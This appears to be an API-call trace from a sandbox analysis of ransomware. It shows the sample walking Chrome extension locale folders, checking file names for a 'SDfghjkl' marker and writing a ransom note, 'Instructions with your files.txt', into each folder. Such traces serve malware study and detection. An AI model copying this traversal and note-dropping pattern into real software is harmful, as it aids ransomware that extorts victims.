[0129.528] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84189af0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84189af0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b43b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xf5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.528] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\Instructions with your files.txt") returned 174
[0129.528] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.528] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.529] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.529] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.529] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.529] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.529] CloseHandle (hObject=0x134) returned 1
[0129.529] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.529] GetProcessHeap () returned 0x810000
[0129.529] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.530] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0129.530] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko") returned 141
[0129.530] GetProcessHeap () returned 0x810000
[0129.530] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.530] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*") returned 143
[0129.530] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.531] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\.") returned 143
[0129.531] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8418e910, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84191020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.531] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\..") returned 144
[0129.531] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84191020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.531] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\messages.json") returned 155
[0129.531] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.531] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84191020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84191020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.531] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\Instructions with your files.txt") returned 174
[0129.531] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ko\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.531] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.532] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.532] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.532] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.532] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.532] CloseHandle (hObject=0x134) returned 1
[0129.533] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.533] GetProcessHeap () returned 0x810000
[0129.533] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.533] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
[0129.533] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt") returned 141
[0129.533] GetProcessHeap () returned 0x810000
[0129.533] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.533] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*") returned 143
[0129.533] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.533] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\.") returned 143
[0129.533] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84195e40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84198550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84198550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.533] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\..") returned 144
[0129.533] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84198550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8419d370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.533] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json") returned 155
[0129.533] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.533] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84198550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8419d370, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.533] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\Instructions with your files.txt") returned 174
[0129.533] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.536] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.537] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.537] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.537] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.537] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.537] CloseHandle (hObject=0x134) returned 1
[0129.537] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.537] GetProcessHeap () returned 0x810000
[0129.537] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.537] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
[0129.537] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv") returned 141
[0129.537] GetProcessHeap () returned 0x810000
[0129.537] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.537] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*") returned 143
[0129.537] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.538] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\.") returned 143
[0129.538] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8419fa80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a2190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a2190, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.538] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\..") returned 144
[0129.538] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a2190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a48a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.538] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\messages.json") returned 155
[0129.538] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.538] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x841a2190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a48a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b6ac0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.539] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\Instructions with your files.txt") returned 174
[0129.539] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lv\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.539] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.540] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.540] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.540] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.540] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.540] CloseHandle (hObject=0x134) returned 1
[0129.540] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.540] GetProcessHeap () returned 0x810000
[0129.540] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.540] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x841a6fb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x841a96c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x841a96c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms", cAlternateFileName="")) returned 1
[0129.540] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms") returned 141
[0129.540] GetProcessHeap () returned 0x810000
[0129.540] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.540] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ms\\*") returned 143
